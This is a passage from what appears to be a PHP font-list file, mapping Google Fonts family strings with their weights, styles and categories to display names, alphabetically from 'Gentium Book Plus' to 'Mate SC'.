			'"Gentium Book Plus", "regular:italic:700:700italic", serif'                                                                                                                 => 'Gentium Book Plus',
			'"Gentium Plus", "regular:italic:700:700italic", serif'                                                                                                                      => 'Gentium Plus',
			'"Geo", "regular:italic", sans-serif'                                                                                                                                        => 'Geo',
			'"Geologica", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                         => 'Geologica',
			'"Georama", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                    => 'Georama',
			'"Geostar", "regular", display'                                                                                                                                              => 'Geostar',
			'"Geostar Fill", "regular", display'                                                                                                                                         => 'Geostar Fill',
			'"Germania One", "regular", display'                                                                                                                                         => 'Germania One',
			'"Gideon Roman", "regular", display'                                                                                                                                         => 'Gideon Roman',
			'"Gidugu", "regular", sans-serif'                                                                                                                                            => 'Gidugu',
			'"Gilda Display", "regular", serif'                                                                                                                                          => 'Gilda Display',
			'"Girassol", "regular", display'                                                                                                                                             => 'Girassol',
			'"Give You Glory", "regular", handwriting'                                                                                                                                   => 'Give You Glory',
			'"Glass Antiqua", "regular", display'                                                                                                                                        => 'Glass Antiqua',
			'"Glegoo", "regular:700", serif'                                                                                                                                             => 'Glegoo',
			'"Gloock", "regular", serif'                                                                                                                                                 => 'Gloock',
			'"Gloria Hallelujah", "regular", handwriting'                                                                                                                                => 'Gloria Hallelujah',
			'"Glory", "100:200:300:regular:500:600:700:800:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                    => 'Glory',
			'"Gluten", "100:200:300:regular:500:600:700:800:900", display'                                                                                                               => 'Gluten',
			'"Goblin One", "regular", display'                                                                                                                                           => 'Goblin One',
			'"Gochi Hand", "regular", handwriting'                                                                                                                                       => 'Gochi Hand',
			'"Goldman", "regular:700", display'                                                                                                                                          => 'Goldman',
			'"Golos Text", "regular:500:600:700:800:900", sans-serif'                                                                                                                    => 'Golos Text',
			'"Gorditas", "regular:700", display'                                                                                                                                         => 'Gorditas',
			'"Gothic A1", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                         => 'Gothic A1',
			'"Gotu", "regular", sans-serif'                                                                                                                                              => 'Gotu',
			'"Goudy Bookletter 1911", "regular", serif'                                                                                                                                  => 'Goudy Bookletter 1911',
			'"Gowun Batang", "regular:700", serif'                                                                                                                                       => 'Gowun Batang',
			'"Gowun Dodum", "regular", sans-serif'                                                                                                                                       => 'Gowun Dodum',
			'"Graduate", "regular", serif'                                                                                                                                               => 'Graduate',
			'"Grand Hotel", "regular", handwriting'                                                                                                                                      => 'Grand Hotel',
			'"Grandiflora One", "regular", serif'                                                                                                                                        => 'Grandiflora One',
			'"Grandstander", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", display'                  => 'Grandstander',
			'"Grape Nuts", "regular", handwriting'                                                                                                                                       => 'Grape Nuts',
			'"Gravitas One", "regular", display'                                                                                                                                         => 'Gravitas One',
			'"Great Vibes", "regular", handwriting'                                                                                                                                      => 'Great Vibes',
			'"Grechen Fuemen", "regular", handwriting'                                                                                                                                   => 'Grechen Fuemen',
			'"Grenze", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", serif'                          => 'Grenze',
			'"Grenze Gotisch", "100:200:300:regular:500:600:700:800:900", display'                                                                                                       => 'Grenze Gotisch',
			'"Grey Qo", "regular", handwriting'                                                                                                                                          => 'Grey Qo',
			'"Griffy", "regular", display'                                                                                                                                               => 'Griffy',
			'"Gruppo", "regular", sans-serif'                                                                                                                                            => 'Gruppo',
			'"Gudea", "regular:italic:700", sans-serif'                                                                                                                                  => 'Gudea',
			'"Gugi", "regular", display'                                                                                                                                                 => 'Gugi',
			'"Gulzar", "regular", serif'                                                                                                                                                 => 'Gulzar',
			'"Gupter", "regular:500:700", serif'                                                                                                                                         => 'Gupter',
			'"Gurajada", "regular", serif'                                                                                                                                               => 'Gurajada',
			'"Gwendolyn", "regular:700", handwriting'                                                                                                                                    => 'Gwendolyn',
			'"Habibi", "regular", serif'                                                                                                                                                 => 'Habibi',
			'"Hachi Maru Pop", "regular", handwriting'                                                                                                                                   => 'Hachi Maru Pop',
			'"Hahmlet", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                                => 'Hahmlet',
			'"Halant", "300:regular:500:600:700", serif'                                                                                                                                 => 'Halant',
			'"Hammersmith One", "regular", sans-serif'                                                                                                                                   => 'Hammersmith One',
			'"Hanalei", "regular", display'                                                                                                                                              => 'Hanalei',
			'"Hanalei Fill", "regular", display'                                                                                                                                         => 'Hanalei Fill',
			'"Handjet", "100:200:300:regular:500:600:700:800:900", display'                                                                                                              => 'Handjet',
			'"Handlee", "regular", handwriting'                                                                                                                                          => 'Handlee',
			'"Hanken Grotesk", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'             => 'Hanken Grotesk',
			'"Hanuman", "100:300:regular:700:900", serif'                                                                                                                                => 'Hanuman',
			'"Happy Monkey", "regular", display'                                                                                                                                         => 'Happy Monkey',
			'"Harmattan", "regular:500:600:700", sans-serif'                                                                                                                             => 'Harmattan',
			'"Headland One", "regular", serif'                                                                                                                                           => 'Headland One',
			'"Hedvig Letters Sans", "regular", sans-serif'                                                                                                                               => 'Hedvig Letters Sans',
			'"Hedvig Letters Serif", "regular", serif'                                                                                                                                   => 'Hedvig Letters Serif',
			'"Heebo", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                             => 'Heebo',
			'"Henny Penny", "regular", display'                                                                                                                                          => 'Henny Penny',
			'"Hepta Slab", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                             => 'Hepta Slab',
			'"Herr Von Muellerhoff", "regular", handwriting'                                                                                                                             => 'Herr Von Muellerhoff',
			'"Hi Melody", "regular", handwriting'                                                                                                                                        => 'Hi Melody',
			'"Hina Mincho", "regular", serif'                                                                                                                                            => 'Hina Mincho',
			'"Hind", "300:regular:500:600:700", sans-serif'                                                                                                                              => 'Hind',
			'"Hind Guntur", "300:regular:500:600:700", sans-serif'                                                                                                                       => 'Hind Guntur',
			'"Hind Madurai", "300:regular:500:600:700", sans-serif'                                                                                                                      => 'Hind Madurai',
			'"Hind Siliguri", "300:regular:500:600:700", sans-serif'                                                                                                                     => 'Hind Siliguri',
			'"Hind Vadodara", "300:regular:500:600:700", sans-serif'                                                                                                                     => 'Hind Vadodara',
			'"Holtwood One SC", "regular", serif'                                                                                                                                        => 'Holtwood One SC',
			'"Homemade Apple", "regular", handwriting'                                                                                                                                   => 'Homemade Apple',
			'"Homenaje", "regular", sans-serif'                                                                                                                                          => 'Homenaje',
			'"Honk", "regular", display'                                                                                                                                                 => 'Honk',
			'"Hubballi", "regular", sans-serif'                                                                                                                                          => 'Hubballi',
			'"Hurricane", "regular", handwriting'                                                                                                                                        => 'Hurricane',
			'"IBM Plex Mono", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", monospace'                                           => 'IBM Plex Mono',
			'"IBM Plex Sans", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                          => 'IBM Plex Sans',
			'"IBM Plex Sans Arabic", "100:200:300:regular:500:600:700", sans-serif'                                                                                                      => 'IBM Plex Sans Arabic',
			'"IBM Plex Sans Condensed", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                => 'IBM Plex Sans Condensed',
			'"IBM Plex Sans Devanagari", "100:200:300:regular:500:600:700", sans-serif'                                                                                                  => 'IBM Plex Sans Devanagari',
			'"IBM Plex Sans Hebrew", "100:200:300:regular:500:600:700", sans-serif'                                                                                                      => 'IBM Plex Sans Hebrew',
			'"IBM Plex Sans JP", "100:200:300:regular:500:600:700", sans-serif'                                                                                                          => 'IBM Plex Sans JP',
			'"IBM Plex Sans KR", "100:200:300:regular:500:600:700", sans-serif'                                                                                                          => 'IBM Plex Sans KR',
			'"IBM Plex Sans Thai", "100:200:300:regular:500:600:700", sans-serif'                                                                                                        => 'IBM Plex Sans Thai',
			'"IBM Plex Sans Thai Looped", "100:200:300:regular:500:600:700", sans-serif'                                                                                                 => 'IBM Plex Sans Thai Looped',
			'"IBM Plex Serif", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", serif'                                              => 'IBM Plex Serif',
			'"IM Fell DW Pica", "regular:italic", serif'                                                                                                                                 => 'IM Fell DW Pica',
			'"IM Fell DW Pica SC", "regular", serif'                                                                                                                                     => 'IM Fell DW Pica SC',
			'"IM Fell Double Pica", "regular:italic", serif'                                                                                                                             => 'IM Fell Double Pica',
			'"IM Fell Double Pica SC", "regular", serif'                                                                                                                                 => 'IM Fell Double Pica SC',
			'"IM Fell English", "regular:italic", serif'                                                                                                                                 => 'IM Fell English',
			'"IM Fell English SC", "regular", serif'                                                                                                                                     => 'IM Fell English SC',
			'"IM Fell French Canon", "regular:italic", serif'                                                                                                                            => 'IM Fell French Canon',
			'"IM Fell French Canon SC", "regular", serif'                                                                                                                                => 'IM Fell French Canon SC',
			'"IM Fell Great Primer", "regular:italic", serif'                                                                                                                            => 'IM Fell Great Primer',
			'"IM Fell Great Primer SC", "regular", serif'                                                                                                                                => 'IM Fell Great Primer SC',
			'"Ibarra Real Nova", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                      => 'Ibarra Real Nova',
			'"Iceberg", "regular", display'                                                                                                                                              => 'Iceberg',
			'"Iceland", "regular", display'                                                                                                                                              => 'Iceland',
			'"Imbue", "100:200:300:regular:500:600:700:800:900", serif'                                                                                                                  => 'Imbue',
			'"Imperial Script", "regular", handwriting'                                                                                                                                  => 'Imperial Script',
			'"Imprima", "regular", sans-serif'                                                                                                                                           => 'Imprima',
			'"Inclusive Sans", "regular:italic", sans-serif'                                                                                                                             => 'Inclusive Sans',
			'"Inconsolata", "200:300:regular:500:600:700:800:900", monospace'                                                                                                            => 'Inconsolata',
			'"Inder", "regular", sans-serif'                                                                                                                                             => 'Inder',
			'"Indie Flower", "regular", handwriting'                                                                                                                                     => 'Indie Flower',
			'"Ingrid Darling", "regular", handwriting'                                                                                                                                   => 'Ingrid Darling',
			'"Inika", "regular:700", serif'                                                                                                                                              => 'Inika',
			'"Inknut Antiqua", "300:regular:500:600:700:800:900", serif'                                                                                                                 => 'Inknut Antiqua',
			'"Inria Sans", "300:300italic:regular:italic:700:700italic", sans-serif'                                                                                                     => 'Inria Sans',
			'"Inria Serif", "300:300italic:regular:italic:700:700italic", serif'                                                                                                         => 'Inria Serif',
			'"Inspiration", "regular", handwriting'                                                                                                                                      => 'Inspiration',
			'"Instrument Sans", "regular:500:600:700:italic:500italic:600italic:700italic", sans-serif'                                                                                  => 'Instrument Sans',
			'"Instrument Serif", "regular:italic", serif'                                                                                                                                => 'Instrument Serif',
			'"Inter", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                      => 'Inter',
			'"Inter Tight", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                => 'Inter Tight',
			'"Irish Grover", "regular", display'                                                                                                                                         => 'Irish Grover',
			'"Island Moments", "regular", handwriting'                                                                                                                                   => 'Island Moments',
			'"Istok Web", "regular:italic:700:700italic", sans-serif'                                                                                                                    => 'Istok Web',
			'"Italiana", "regular", serif'                                                                                                                                               => 'Italiana',
			'"Italianno", "regular", handwriting'                                                                                                                                        => 'Italianno',
			'"Itim", "regular", handwriting'                                                                                                                                             => 'Itim',
			'"Jacquard 12", "regular", display'                                                                                                                                          => 'Jacquard 12',
			'"Jacquard 12 Charted", "regular", display'                                                                                                                                  => 'Jacquard 12 Charted',
			'"Jacquard 24", "regular", display'                                                                                                                                          => 'Jacquard 24',
			'"Jacquard 24 Charted", "regular", display'                                                                                                                                  => 'Jacquard 24 Charted',
			'"Jacquarda Bastarda 9", "regular", display'                                                                                                                                 => 'Jacquarda Bastarda 9',
			'"Jacquarda Bastarda 9 Charted", "regular", display'                                                                                                                         => 'Jacquarda Bastarda 9 Charted',
			'"Jacques Francois", "regular", serif'                                                                                                                                       => 'Jacques Francois',
			'"Jacques Francois Shadow", "regular", display'                                                                                                                              => 'Jacques Francois Shadow',
			'"Jaini", "regular", display'                                                                                                                                                => 'Jaini',
			'"Jaini Purva", "regular", display'                                                                                                                                          => 'Jaini Purva',
			'"Jaldi", "regular:700", sans-serif'                                                                                                                                         => 'Jaldi',
			'"Jaro", "regular", sans-serif'                                                                                                                                              => 'Jaro',
			'"Jersey 10", "regular", display'                                                                                                                                            => 'Jersey 10',
			'"Jersey 10 Charted", "regular", display'                                                                                                                                    => 'Jersey 10 Charted',
			'"Jersey 15", "regular", display'                                                                                                                                            => 'Jersey 15',
			'"Jersey 15 Charted", "regular", display'                                                                                                                                    => 'Jersey 15 Charted',
			'"Jersey 20", "regular", display'                                                                                                                                            => 'Jersey 20',
			'"Jersey 20 Charted", "regular", display'                                                                                                                                    => 'Jersey 20 Charted',
			'"Jersey 25", "regular", display'                                                                                                                                            => 'Jersey 25',
			'"Jersey 25 Charted", "regular", display'                                                                                                                                    => 'Jersey 25 Charted',
			'"JetBrains Mono", "100:200:300:regular:500:600:700:800:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic", monospace'                            => 'JetBrains Mono',
			'"Jim Nightshade", "regular", handwriting'                                                                                                                                   => 'Jim Nightshade',
			'"Joan", "regular", serif'                                                                                                                                                   => 'Joan',
			'"Jockey One", "regular", sans-serif'                                                                                                                                        => 'Jockey One',
			'"Jolly Lodger", "regular", display'                                                                                                                                         => 'Jolly Lodger',
			'"Jomhuria", "regular", display'                                                                                                                                             => 'Jomhuria',
			'"Jomolhari", "regular", serif'                                                                                                                                              => 'Jomolhari',
			'"Josefin Sans", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", sans-serif'                                           => 'Josefin Sans',
			'"Josefin Slab", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", serif'                                                => 'Josefin Slab',
			'"Jost", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                       => 'Jost',
			'"Joti One", "regular", display'                                                                                                                                             => 'Joti One',
			'"Jua", "regular", sans-serif'                                                                                                                                               => 'Jua',
			'"Judson", "regular:italic:700", serif'                                                                                                                                      => 'Judson',
			'"Julee", "regular", handwriting'                                                                                                                                            => 'Julee',
			'"Julius Sans One", "regular", sans-serif'                                                                                                                                   => 'Julius Sans One',
			'"Junge", "regular", serif'                                                                                                                                                  => 'Junge',
			'"Jura", "300:regular:500:600:700", sans-serif'                                                                                                                              => 'Jura',
			'"Just Another Hand", "regular", handwriting'                                                                                                                                => 'Just Another Hand',
			'"Just Me Again Down Here", "regular", handwriting'                                                                                                                          => 'Just Me Again Down Here',
			'"K2D", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic", sans-serif'                                      => 'K2D',
			'"Kablammo", "regular", display'                                                                                                                                             => 'Kablammo',
			'"Kadwa", "regular:700", serif'                                                                                                                                              => 'Kadwa',
			'"Kaisei Decol", "regular:500:700", serif'                                                                                                                                   => 'Kaisei Decol',
			'"Kaisei HarunoUmi", "regular:500:700", serif'                                                                                                                               => 'Kaisei HarunoUmi',
			'"Kaisei Opti", "regular:500:700", serif'                                                                                                                                    => 'Kaisei Opti',
			'"Kaisei Tokumin", "regular:500:700:800", serif'                                                                                                                             => 'Kaisei Tokumin',
			'"Kalam", "300:regular:700", handwriting'                                                                                                                                    => 'Kalam',
			'"Kalnia", "100:200:300:regular:500:600:700", serif'                                                                                                                         => 'Kalnia',
			'"Kalnia Glaze", "100:200:300:regular:500:600:700", display'                                                                                                                 => 'Kalnia Glaze',
			'"Kameron", "regular:500:600:700", serif'                                                                                                                                    => 'Kameron',
			'"Kanit", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", sans-serif'                      => 'Kanit',
			'"Kantumruy Pro", "100:200:300:regular:500:600:700:100italic:200italic:300italic:italic:500italic:600italic:700italic", sans-serif'                                          => 'Kantumruy Pro',
			'"Karantina", "300:regular:700", display'                                                                                                                                    => 'Karantina',
			'"Karla", "200:300:regular:500:600:700:800:200italic:300italic:italic:500italic:600italic:700italic:800italic", sans-serif'                                                  => 'Karla',
			'"Karma", "300:regular:500:600:700", serif'                                                                                                                                  => 'Karma',
			'"Katibeh", "regular", display'                                                                                                                                              => 'Katibeh',
			'"Kaushan Script", "regular", handwriting'                                                                                                                                   => 'Kaushan Script',
			'"Kavivanar", "regular", handwriting'                                                                                                                                        => 'Kavivanar',
			'"Kavoon", "regular", display'                                                                                                                                               => 'Kavoon',
			'"Kay Pho Du", "regular:500:600:700", serif'                                                                                                                                 => 'Kay Pho Du',
			'"Kdam Thmor Pro", "regular", sans-serif'                                                                                                                                    => 'Kdam Thmor Pro',
			'"Keania One", "regular", display'                                                                                                                                           => 'Keania One',
			'"Kelly Slab", "regular", display'                                                                                                                                           => 'Kelly Slab',
			'"Kenia", "regular", display'                                                                                                                                                => 'Kenia',
			'"Khand", "300:regular:500:600:700", sans-serif'                                                                                                                             => 'Khand',
			'"Khmer", "regular", sans-serif'                                                                                                                                             => 'Khmer',
			'"Khula", "300:regular:600:700:800", sans-serif'                                                                                                                             => 'Khula',
			'"Kings", "regular", handwriting'                                                                                                                                            => 'Kings',
			'"Kirang Haerang", "regular", display'                                                                                                                                       => 'Kirang Haerang',
			'"Kite One", "regular", sans-serif'                                                                                                                                          => 'Kite One',
			'"Kiwi Maru", "300:regular:500", serif'                                                                                                                                      => 'Kiwi Maru',
			'"Klee One", "regular:600", handwriting'                                                                                                                                     => 'Klee One',
			'"Knewave", "regular", display'                                                                                                                                              => 'Knewave',
			'"KoHo", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                                 => 'KoHo',
			'"Kodchasan", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                            => 'Kodchasan',
			'"Kode Mono", "regular:500:600:700", monospace'                                                                                                                              => 'Kode Mono',
			'"Koh Santepheap", "100:300:regular:700:900", serif'                                                                                                                         => 'Koh Santepheap',
			'"Kolker Brush", "regular", handwriting'                                                                                                                                     => 'Kolker Brush',
			'"Konkhmer Sleokchher", "regular", display'                                                                                                                                  => 'Konkhmer Sleokchher',
			'"Kosugi", "regular", sans-serif'                                                                                                                                            => 'Kosugi',
			'"Kosugi Maru", "regular", sans-serif'                                                                                                                                       => 'Kosugi Maru',
			'"Kotta One", "regular", serif'                                                                                                                                              => 'Kotta One',
			'"Koulen", "regular", display'                                                                                                                                               => 'Koulen',
			'"Kranky", "regular", display'                                                                                                                                               => 'Kranky',
			'"Kreon", "300:regular:500:600:700", serif'                                                                                                                                  => 'Kreon',
			'"Kristi", "regular", handwriting'                                                                                                                                           => 'Kristi',
			'"Krona One", "regular", sans-serif'                                                                                                                                         => 'Krona One',
			'"Krub", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", sans-serif'                                                                 => 'Krub',
			'"Kufam", "regular:500:600:700:800:900:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'                                                                => 'Kufam',
			'"Kulim Park", "200:200italic:300:300italic:regular:italic:600:600italic:700:700italic", sans-serif'                                                                         => 'Kulim Park',
			'"Kumar One", "regular", display'                                                                                                                                            => 'Kumar One',
			'"Kumar One Outline", "regular", display'                                                                                                                                    => 'Kumar One Outline',
			'"Kumbh Sans", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Kumbh Sans',
			'"Kurale", "regular", serif'                                                                                                                                                 => 'Kurale',
			'"LXGW WenKai Mono TC", "300:regular:700", monospace'                                                                                                                        => 'LXGW WenKai Mono TC',
			'"LXGW WenKai TC", "300:regular:700", handwriting'                                                                                                                           => 'LXGW WenKai TC',
			'"La Belle Aurore", "regular", handwriting'                                                                                                                                  => 'La Belle Aurore',
			'"Labrada", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                         => 'Labrada',
			'"Lacquer", "regular", display'                                                                                                                                              => 'Lacquer',
			'"Laila", "300:regular:500:600:700", sans-serif'                                                                                                                             => 'Laila',
			'"Lakki Reddy", "regular", handwriting'                                                                                                                                      => 'Lakki Reddy',
			'"Lalezar", "regular", display'                                                                                                                                              => 'Lalezar',
			'"Lancelot", "regular", display'                                                                                                                                             => 'Lancelot',
			'"Langar", "regular", display'                                                                                                                                               => 'Langar',
			'"Lateef", "200:300:regular:500:600:700:800", serif'                                                                                                                         => 'Lateef',
			'"Lato", "100:100italic:300:300italic:regular:italic:700:700italic:900:900italic", sans-serif'                                                                               => 'Lato',
			'"Lavishly Yours", "regular", handwriting'                                                                                                                                   => 'Lavishly Yours',
			'"League Gothic", "regular", sans-serif'                                                                                                                                     => 'League Gothic',
			'"League Script", "regular", handwriting'                                                                                                                                    => 'League Script',
			'"League Spartan", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                    => 'League Spartan',
			'"Leckerli One", "regular", handwriting'                                                                                                                                     => 'Leckerli One',
			'"Ledger", "regular", serif'                                                                                                                                                 => 'Ledger',
			'"Lekton", "regular:italic:700", monospace'                                                                                                                                  => 'Lekton',
			'"Lemon", "regular", display'                                                                                                                                                => 'Lemon',
			'"Lemonada", "300:regular:500:600:700", display'                                                                                                                             => 'Lemonada',
			'"Lexend", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                            => 'Lexend',
			'"Lexend Deca", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Deca',
			'"Lexend Exa", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                        => 'Lexend Exa',
			'"Lexend Giga", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Giga',
			'"Lexend Mega", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Mega',
			'"Lexend Peta", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Peta',
			'"Lexend Tera", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                       => 'Lexend Tera',
			'"Lexend Zetta", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                      => 'Lexend Zetta',
			'"Libre Barcode 128", "regular", display'                                                                                                                                    => 'Libre Barcode 128',
			'"Libre Barcode 128 Text", "regular", display'                                                                                                                               => 'Libre Barcode 128 Text',
			'"Libre Barcode 39", "regular", display'                                                                                                                                     => 'Libre Barcode 39',
			'"Libre Barcode 39 Extended", "regular", display'                                                                                                                            => 'Libre Barcode 39 Extended',
			'"Libre Barcode 39 Extended Text", "regular", display'                                                                                                                       => 'Libre Barcode 39 Extended Text',
			'"Libre Barcode 39 Text", "regular", display'                                                                                                                                => 'Libre Barcode 39 Text',
			'"Libre Barcode EAN13 Text", "regular", display'                                                                                                                             => 'Libre Barcode EAN13 Text',
			'"Libre Baskerville", "regular:italic:700", serif'                                                                                                                           => 'Libre Baskerville',
			'"Libre Bodoni", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                          => 'Libre Bodoni',
			'"Libre Caslon Display", "regular", serif'                                                                                                                                   => 'Libre Caslon Display',
			'"Libre Caslon Text", "regular:italic:700", serif'                                                                                                                           => 'Libre Caslon Text',
			'"Libre Franklin", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif'             => 'Libre Franklin',
			'"Licorice", "regular", handwriting'                                                                                                                                         => 'Licorice',
			'"Life Savers", "regular:700:800", display'                                                                                                                                  => 'Life Savers',
			'"Lilita One", "regular", display'                                                                                                                                           => 'Lilita One',
			'"Lily Script One", "regular", display'                                                                                                                                      => 'Lily Script One',
			'"Limelight", "regular", display'                                                                                                                                            => 'Limelight',
			'"Linden Hill", "regular:italic", serif'                                                                                                                                     => 'Linden Hill',
			'"Linefont", "100:200:300:regular:500:600:700:800:900", display'                                                                                                             => 'Linefont',
			'"Lisu Bosa", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:800:800italic:900:900italic", serif'                                     => 'Lisu Bosa',
			'"Literata", "200:300:regular:500:600:700:800:900:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", serif'                                      => 'Literata',
			'"Liu Jian Mao Cao", "regular", handwriting'                                                                                                                                 => 'Liu Jian Mao Cao',
			'"Livvic", "100:100italic:200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic:900:900italic", sans-serif'                                   => 'Livvic',
			'"Lobster", "regular", display'                                                                                                                                              => 'Lobster',
			'"Lobster Two", "regular:italic:700:700italic", display'                                                                                                                     => 'Lobster Two',
			'"Londrina Outline", "regular", display'                                                                                                                                     => 'Londrina Outline',
			'"Londrina Shadow", "regular", display'                                                                                                                                      => 'Londrina Shadow',
			'"Londrina Sketch", "regular", display'                                                                                                                                      => 'Londrina Sketch',
			'"Londrina Solid", "100:300:regular:900", display'                                                                                                                           => 'Londrina Solid',
			'"Long Cang", "regular", handwriting'                                                                                                                                        => 'Long Cang',
			'"Lora", "regular:500:600:700:italic:500italic:600italic:700italic", serif'                                                                                                  => 'Lora',
			'"Love Light", "regular", handwriting'                                                                                                                                       => 'Love Light',
			'"Love Ya Like A Sister", "regular", display'                                                                                                                                => 'Love Ya Like A Sister',
			'"Loved by the King", "regular", handwriting'                                                                                                                                => 'Loved by the King',
			'"Lovers Quarrel", "regular", handwriting'                                                                                                                                   => 'Lovers Quarrel',
			'"Luckiest Guy", "regular", display'                                                                                                                                         => 'Luckiest Guy',
			'"Lugrasimo", "regular", handwriting'                                                                                                                                        => 'Lugrasimo',
			'"Lumanosimo", "regular", handwriting'                                                                                                                                       => 'Lumanosimo',
			'"Lunasima", "regular:700", sans-serif'                                                                                                                                      => 'Lunasima',
			'"Lusitana", "regular:700", serif'                                                                                                                                           => 'Lusitana',
			'"Lustria", "regular", serif'                                                                                                                                                => 'Lustria',
			'"Luxurious Roman", "regular", display'                                                                                                                                      => 'Luxurious Roman',
			'"Luxurious Script", "regular", handwriting'                                                                                                                                 => 'Luxurious Script',
			'"M PLUS 1", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                          => 'M PLUS 1',
			'"M PLUS 1 Code", "100:200:300:regular:500:600:700", monospace'                                                                                                              => 'M PLUS 1 Code',
			'"M PLUS 1p", "100:300:regular:500:700:800:900", sans-serif'                                                                                                                 => 'M PLUS 1p',
			'"M PLUS 2", "100:200:300:regular:500:600:700:800:900", sans-serif'                                                                                                          => 'M PLUS 2',
			'"M PLUS Code Latin", "100:200:300:regular:500:600:700", sans-serif'                                                                                                         => 'M PLUS Code Latin',
			'"M PLUS Rounded 1c", "100:300:regular:500:700:800:900", sans-serif'                                                                                                         => 'M PLUS Rounded 1c',
			'"Ma Shan Zheng", "regular", handwriting'                                                                                                                                    => 'Ma Shan Zheng',
			'"Macondo", "regular", display'                                                                                                                                              => 'Macondo',
			'"Macondo Swash Caps", "regular", display'                                                                                                                                   => 'Macondo Swash Caps',
			'"Mada", "200:300:regular:500:600:700:800:900", sans-serif'                                                                                                                  => 'Mada',
			'"Madimi One", "regular", sans-serif'                                                                                                                                        => 'Madimi One',
			'"Magra", "regular:700", sans-serif'                                                                                                                                         => 'Magra',
			'"Maiden Orange", "regular", serif'                                                                                                                                          => 'Maiden Orange',
			'"Maitree", "200:300:regular:500:600:700", serif'                                                                                                                            => 'Maitree',
			'"Major Mono Display", "regular", monospace'                                                                                                                                 => 'Major Mono Display',
			'"Mako", "regular", sans-serif'                                                                                                                                              => 'Mako',
			'"Mali", "200:200italic:300:300italic:regular:italic:500:500italic:600:600italic:700:700italic", handwriting'                                                                => 'Mali',
			'"Mallanna", "regular", sans-serif'                                                                                                                                          => 'Mallanna',
			'"Maname", "regular", serif'                                                                                                                                                 => 'Maname',
			'"Mandali", "regular", sans-serif'                                                                                                                                           => 'Mandali',
			'"Manjari", "100:regular:700", sans-serif'                                                                                                                                   => 'Manjari',
			'"Manrope", "200:300:regular:500:600:700:800", sans-serif'                                                                                                                   => 'Manrope',
			'"Mansalva", "regular", handwriting'                                                                                                                                         => 'Mansalva',
			'"Manuale", "300:regular:500:600:700:800:300italic:italic:500italic:600italic:700italic:800italic", serif'                                                                   => 'Manuale',
			'"Marcellus", "regular", serif'                                                                                                                                              => 'Marcellus',
			'"Marcellus SC", "regular", serif'                                                                                                                                           => 'Marcellus SC',
			'"Marck Script", "regular", handwriting'                                                                                                                                     => 'Marck Script',
			'"Margarine", "regular", display'                                                                                                                                            => 'Margarine',
			'"Marhey", "300:regular:500:600:700", display'                                                                                                                               => 'Marhey',
			'"Markazi Text", "regular:500:600:700", serif'                                                                                                                               => 'Markazi Text',
			'"Marko One", "regular", serif'                                                                                                                                              => 'Marko One',
			'"Marmelad", "regular", sans-serif'                                                                                                                                          => 'Marmelad',
			'"Martel", "200:300:regular:600:700:800:900", serif'                                                                                                                         => 'Martel',
			'"Martel Sans", "200:300:regular:600:700:800:900", sans-serif'                                                                                                               => 'Martel Sans',
			'"Martian Mono", "100:200:300:regular:500:600:700:800", monospace'                                                                                                           => 'Martian Mono',
			'"Marvel", "regular:italic:700:700italic", sans-serif'                                                                                                                       => 'Marvel',
			'"Mate", "regular:italic", serif'                                                                                                                                            => 'Mate',
			'"Mate SC", "regular", serif'                                                                                                                                                => 'Mate SC',
